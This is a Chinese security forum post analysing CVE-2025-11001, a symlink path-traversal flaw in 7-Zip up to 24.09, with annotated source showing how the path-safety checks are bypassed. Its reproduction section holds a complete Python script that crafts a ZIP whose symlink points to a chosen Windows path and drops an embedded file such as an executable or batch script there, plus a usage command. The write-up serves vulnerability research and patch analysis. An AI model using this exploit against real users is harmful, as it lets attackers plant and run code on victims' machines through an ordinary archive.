奇安信攻防社区-CVE-2025-11001 7-Zip 远程代码执行漏洞分析与复现

CVE-2025-11001 7-Zip 远程代码执行漏洞分析与复现

CVE-2025-11001

一、漏洞简介
======

7-Ziр是一款开源、跨平台的压缩与归档管理工具，支持ZIP、RAR、7z、TAR等数十种格式，提供图形与命令行双接口，被个人用户、企业脚本、备份系统、安全沙箱及邮件网关广泛集成，用于打包、加密、分卷及自动化解压。该漏洞存在于≤24.09版本中，成因是ZIP解压模块对符号链接及文件名的路径净化不完整，允许存档内构造“../../../”或绝对路径形式的条目，写入任意外部目录.

二、影响版本
======

- 7-zip ≤24.09

三、漏洞分析
======

![Image 2025-10-16 at 22.55.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-612023f7f67cd2f5452b7c2cbd34384979f0081f.jpg)

- diff 一下 搜索2025-07-05和2025-08-03
- 看到patch在./CPP/7zip/UI/Common/ArchiveExtractCallback.cpp

翻一翻看到补丁位置：

![Image 2025-10-18 at 18.47.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-0482d4de5c92f902a1f590d65cb62631babf5c7e.jpg)

首先进入*CArchiveExtractCallback::GetStream*

```c++
#ifdef SUPPORT_LINKS

RINOK(ReadLink()) // step one

#endif // SUPPORT_LINKS
```

![Image 2025-10-18 at 19.27.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-c2f5938f48135743d25ecbf7dabb9af498cf70c8.jpg)  
判断，设置isRelative = true;下一步进入GetExtractStream:

![Image 2025-10-18 at 19.25.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-5db6fedb6705a8b2ef0a1e2a83f7c0264ba4c144.jpg)  
进行参数处理，进入SetFromLinkPath，这里就是绕过限制的地方，直接放代码吧：

```c
if (linkInfo.isRelative) // ReadLink set True (sylink) STEP 4

relatPath = GetDirPrefixOf(_item.Path); // Get the zip parent Dir

relatPath += linkInfo.linkPath; // += Linkpath (something may be control)

if (!IsSafePath(relatPath)) // isSafePath("ZIP PAR DIR" + "C:\\ATTACK") So IS True

{

return SendMessageError2(

0, // errorCode

"Dangerous link path was ignored",

us2fs(_item.Path),

us2fs(linkInfo.linkPath)); // us2fs(relatPath)

}
```

这里的因为之前ReadLink设置了isRelative为True所以通过，relatPath在注释里写的很清楚了，我们来看一下限制逻辑，代码如下：

```c
bool IsSafePath(const UString &amp;path)

{

CLinkLevelsInfo levelsInfo;

levelsInfo.Parse(path);

return !levelsInfo.IsAbsolute

&amp;&amp; levelsInfo.LowLevel &gt;= 0

&amp;&amp; levelsInfo.FinalLevel &gt; 0;

}
```

```c
void CLinkLevelsInfo::Parse(const UString &amp;path)

{

IsAbsolute = NName::IsAbsolutePath(path); // False

LowLevel = 0;

FinalLevel = 0;

UStringVector parts;

SplitPathToParts(path, parts);

int level = 0;

FOR_VECTOR (i, parts)

{

const UString &amp;s = parts[i];

if (s.IsEmpty())

{

if (i == 0)

IsAbsolute = true;

continue;

}

if (s == L".")

continue;

if (s == L"..")

{

level--;

if (LowLevel &gt; level)

LowLevel = level;

}

else

level++;

}

FinalLevel = level;

}
```

![Image 2025-10-18 at 20.01.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-79c640273051d095409c077d29ae384efd73f446.jpg)

![Image 2025-10-18 at 20.01.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-ed45ab1f6ebf305d04c7985452f9117998461141.jpg)  
由于之前isRelative设置为True，所以这里校验的0位和1位是zip的父目录，通过，之后还有一个校验：

```c++
{

#ifdef _WIN32

if (_item.IsDir)

#endif

if (linkInfo.isRelative)

{

CLinkLevelsInfo levelsInfo;

levelsInfo.Parse(linkInfo.linkPath);

if (levelsInfo.FinalLevel &lt; 1 || levelsInfo.IsAbsolute)

{

return SendMessageError2(

0, // errorCode

"Dangerous symbolic link path was ignored",

us2fs(_item.Path),

us2fs(linkInfo.linkPath));

}

}
```

这里由于写了

```c++
if (_item.IsDir)
```

所以之后的安全检查不会进入，这是第三个绕过，之后就是创建符号链接RCE流程了：

![Image 2025-10-18 at 20.08.jpg](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-a7544d8241bfb0c749f4dac810cd2b276e837950.jpg)

复现
==

利用脚本：

```php
import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')

def add_symlink(z, arcname, target):
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o120777 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, target.encode('utf-8'))

def add_file_from_disk(z, arcname, src_path):
    with open(src_path, 'rb') as f:
        payload = f.read()
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o100644 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, payload)

def main():
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)
        add_symlink(z, link_entry, args.symlink_target)
        add_file_from_disk(z, file_entry, args.data_file)

print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()
```

用法：

```php
python3 exploity.py -t "C:\Users\pac\Desktop" -o demo.zip --data-file calc.exe
```

- 生成zip文件
- 以管理员权限打开7-zip
- 解压，到指定的目录查看是否成功写入文件  
    ![Screenshot 2025-10-18 at 20.13.22.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/10/attach-c5f3f0cf20d4ceafe78abedc78df9cb07b24a0d6.png)

如图1.js文件,成功写入。（由于测试机没装py环境，用的mac没exe文件，故用1.js文件替代）

发表于 2025-11-26 09:33:51
阅读 ( 425 )
分类：其他

CVE-2025-11001 7-Zip 远程代码执行漏洞 分析与复现

0 条评论

CVE-2025-11001 7-Zip 远程代码执行漏洞分析与复现